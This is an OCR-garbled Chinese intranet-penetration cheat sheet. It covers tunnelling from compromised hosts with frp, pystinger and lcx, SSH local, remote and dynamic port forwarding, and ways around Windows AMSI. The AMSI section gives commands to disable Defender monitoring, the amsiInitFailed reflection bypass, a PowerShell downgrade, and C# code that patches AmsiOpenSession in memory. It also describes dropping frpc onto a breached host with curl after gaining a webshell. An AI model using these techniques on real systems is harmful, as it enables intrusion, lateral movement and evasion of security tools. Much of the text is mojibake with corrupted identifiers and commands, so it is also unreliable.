LA EBERINE, VPSEIEIF60000i%M, #E FREEEEFProxifierfiAILA5IR BN T .

FAER: XTMCEBEAERREE, BIESETFF(Wrong data), 1BRIEFERE, Fakill
stinger_serveri#ft2 525N, RAERVPSIRSImstinger_clientRia]

7= TCPHRI-socks{{IE

frp

BEsR:
1.VPSIafTARSS i

./frps -c frps.ini

E: EENFScreentSfrpEERIES, ScreentEEiE S % Mscreen S AIEITIZR - (HH

frps.iniNE:

[common]

bind_port = 8080

tls_only = true

tcp_mux = true
privilege_token = tokenl23
kcp_bind_port = 8080


http://aaa.com/tunnel.jsp
https://github.com/FunnyWolf/pystinger
af://n797
https://github.com/fatedier/frp
https://www.jianshu.com/p/b24f597c0561

2. fERVPSKfrpc frpc.ini LAEZIENtMpER, AEET

Linux:
chmod +x /tmp/frpc-x86
nohup /tmp/frpc-x86 -c /tmpfrpc.ini>/dev/null nohup.out &

windows
frpc -c frpc.ini

E: BiHEEBWebshell S TES EEXME EESEHATE, TJLAdREIfrpER, fEvpsER python
-m SimpleHTTPServer 80 Bil—webserver, RAEEEFIR{ERA curl http://vpsip/frpc T
X5,

VAERERINIE, VPSizRlESBHt, ARVPSREI—NM0001imH, & N RERECEIFProxifiersl
AILABIR BRI T,

Proxifierff&%: Proxifier Socks5 {£18 (KMifFE. ITiE4Y)

ps: fro2f REIBRNERE, XEfEFR—MIELR, MREN, FTLIEIFERrusthiRARIfrp

fuso

0x02 Lcx

ARJIP: 192.168.183.168
~RJIP: 192.168.183.181

ImOEER

AR EE EHITHS: 1cx.exe -slave AMIP i HMNIP il
FEAIMIAT3389im M A 22 MAT6666H M

Tcx.exe -slave 192.168.183.181 6666 192.168.183.168 3389
Tcx.exe -slave 192.168.183.181 6666 127.0.0.1 3389

NRIFEE FHITHS: lcx.exe -listen WiWfmm @m0
HE1E6666iH I RIRIE IR R A& 222221

Tcx.exe -Tisten 6666 2222

{ERS mstsc /v:127.0.0.1:2222 BaEREEZIAM 3389
o ([ :h )

AR M EEBA K IEZEIE3389Hu, ATLASEAtrans<¥53389um M METEIE {thim O &
AMHZE EHITEES: Tcx.exe -tran Wil EHEIP ki

Jcx.exe -tran 66 192.168.183.168 3389

Ry ME R NMFTLAEEERZ66IR O BIRTIE(R1338%iR 0, AMEFRIRELR


https://blog.csdn.net/u013600314/article/details/106276126/
https://github.com/editso/fuso
af://n813
af://n815
af://n822

0x03 SSHEEE

SSh%iﬁﬁéﬁg

-C Enable compression JE4E¥IRfLH

-q Quiet mode. ZEHHE

-T Disable pseudo-tty allocation. A5 shell

-f Requests ssh to go to background just before command execution. JG&i&fT, I
AL -n 3%

-N Do not execute a remote command. APUTTREMA, iR E

-L port:host:hostport HAHibL (F ) HL) A H 4 3t i i i WL A 48 58 i

-R port:host:hostport FimfEEHL (RSTA) iR w115 e B A M i 48 8 HLAS (6 2 o 1

-D port 85— NAHINLASBAS 1 R AR P 3 K

-g port RVFEFEENEREBIE SRS D, WRANXANSH, RAavrAs =y iER

SSHZIthEEA
IEEEI:

ssh -L [Tocal_bind_addr:]1ocal_port:remote:remote_port middle_host

RS EIRSES FAImMysql, mysqlfRBEEZrootinfE&ft, XAHEFM AT LUBES AMEE %, BidsshigiR
$E8AY3306im 4% & F1234i%m 0,

ssh -CfNg -L 2222:127.0.0.1:3306 root@139.196.xx.xx

TIEEE: EAMISE— HsshiEfitsA&iR[12222, BITiEEH1EY3306#M0(127.0.0.1:3306)8RE7Z]
AHBAY2222i%0, HBEFVERAMBMETA2222i% O, AitbsshFtLtin ORISR AL BT
VPS, SARRVPSESITEEHiH(127.0.0.1:3306)i& 5.

BB Kali -> 2222 -> VPS -> 127.0.0.1:3306

SSHImIZER
EEE:

ssh -R [bind_addr:]remotel_port:host:port remotel

{RigkaliFF 7 —" 80w OAIwebRSS, SMNNTEIA), ERITIEEA, 1Kkalify80imHEERZIFNARIE th
im0, XEHRIGESMNGRmE, HERET RMEdEE.

ssh -CfNg -R 4444:127.0.0.1:80 root@192.168.183.195

IHATTE192.168.183.195X & FH1_Ei/18)127.0.0.1:44445% B0 512 kalifg8 0im [

TERIE: kalifEiERINAEAIsshdfRSS, EIMNNTEA LR — NEEF R Tinm(4444), B2kalify
80umIAIMLET, HBETHIUEEINGRI4444m0O00T, EHERIEUESER L A48 kali, BHkalixihia
127.0.0.1:80,

XBEEITE—A, mRROEAZHITEEN EsshdiRBEHI, BARBBERT, sshdiREZRATF
AT EANTAERE A& im (4444 48 B3R EIENE(127.0.0.1) £, BMERIEE T bind_addrib LA B .
B EXEIAE127.0.0.1:44445 OART LAAIAELD, 518192.168.183.195:444450A8E1a 50,


af://n826
af://n828
af://n834

ERFAIRITIEE R in O 4PEEIBREIE F, SEEINRIENsshdELE 4=
F3"GatewayPorts"Tii, BRIEKAME N0, XBEEK Ayes, RREFNTIEFE & — FRIR] BN
ial,

SSHENSE A, IERIBEEIESMIRO%EE

REnfEdE & is OF BFRE ORI RN E— X —A9X R, FAERRSHMERE AR
O, T/EREZH, MalSEARESE— AR, mBEirmOERERARIERREN, thin
B3R A445i% 00, @idsshiE &RNE Rkt 24450,

EEER:
ssh -D [bind_addr:]port remote

XEE—REPNIIF: Bif ERESER N LEARTGoogle, HATTLABTGRERXAZIEIMNI
vps EIXHFHAILAERE LI T .
ERUHITUAT®S, AEERLERER

ssh -Nfg -D 3333 root@45.77.xx.XXx
ERSE AT, IRENISEEERIAMENAI3333im0
SSHENSsE4k, IERMNEETRE—RYIROER

FlFssh -L I2{HIFEMCIE, 15192.168.183.20980i% CIAhETZEI45.77 xx.xxA8911113% 0k

118)45.77 xx.xx:1111#825F/518)192.168.183.2:80 H[E)FEE192.168.183.189sshit TIE AL IRHITAI
mo

EEE:
ssh -L 45.77.xx.xx:1111:192.168.183.2:80 root@192.168.183.1

LR EA1518145.77 xx. xxB91 1 1 1im A RAE 2 TR PR AS E kH188A9192.168.183.2:80

16.Bypass AMSI

How to Bypass AMSI

EERNRKFamsi

Set-MpPreference -DisableRealtimeMonitoring $true

—HEXHAIAMSI

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI
nitFailed', "NonPubilc,Static').Setvalue($null,$true)

WINRT , ALLEEY


af://n843
af://n850
af://n858
https://0range-x.github.io/2022/01/23/AMSI/
af://n862

powershellf#

powershell.exe -version 2 / /&% powershel 1ig 1T A

AFHT

$p=@"

using System;

using System.Ling;

using System.Runtime.InteropServices;

public class Program

{

[D11Import("kernel32")]

pubTlic static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DTTImport("kernel32")]

public static extern IntPtr LoadLibrary(string name);
[D11Import("kernel32")]

pubTlic static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint fINewProtect, out uint I1pfloldProtect);

public static void Bypass()

{

String a =

"isma";

IntPtr 1ib = LoadLibrary(String.Join(""

, a.Reverse().ToArray()) +

Ld11");

IntPtr addr = GetProcAddress(lib,

"AmsiOpenSession');

uint old = 0;

byte[] p;

p = new byte[6];
p[0] = OxBS8;
p[1] = OxFF;
p[2] = OxFF;
p[3] = OxFF;
p[4] = OXFF;
p[5] = 0xC3;

VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);

Marshal.Copy(p, 0, addr, p.Length);

virtualProtect(addr, (UIntPtr)p.Length, old, out old);
}

}

"@

Add-Type $p

[Program] : :Bypass()

SERE.


af://n865
af://n868

https://github.com/NyDubh3/Pentesting-Active-Directory-CN
https://github.com/shmilylty/Intranet_Penetration_Tips
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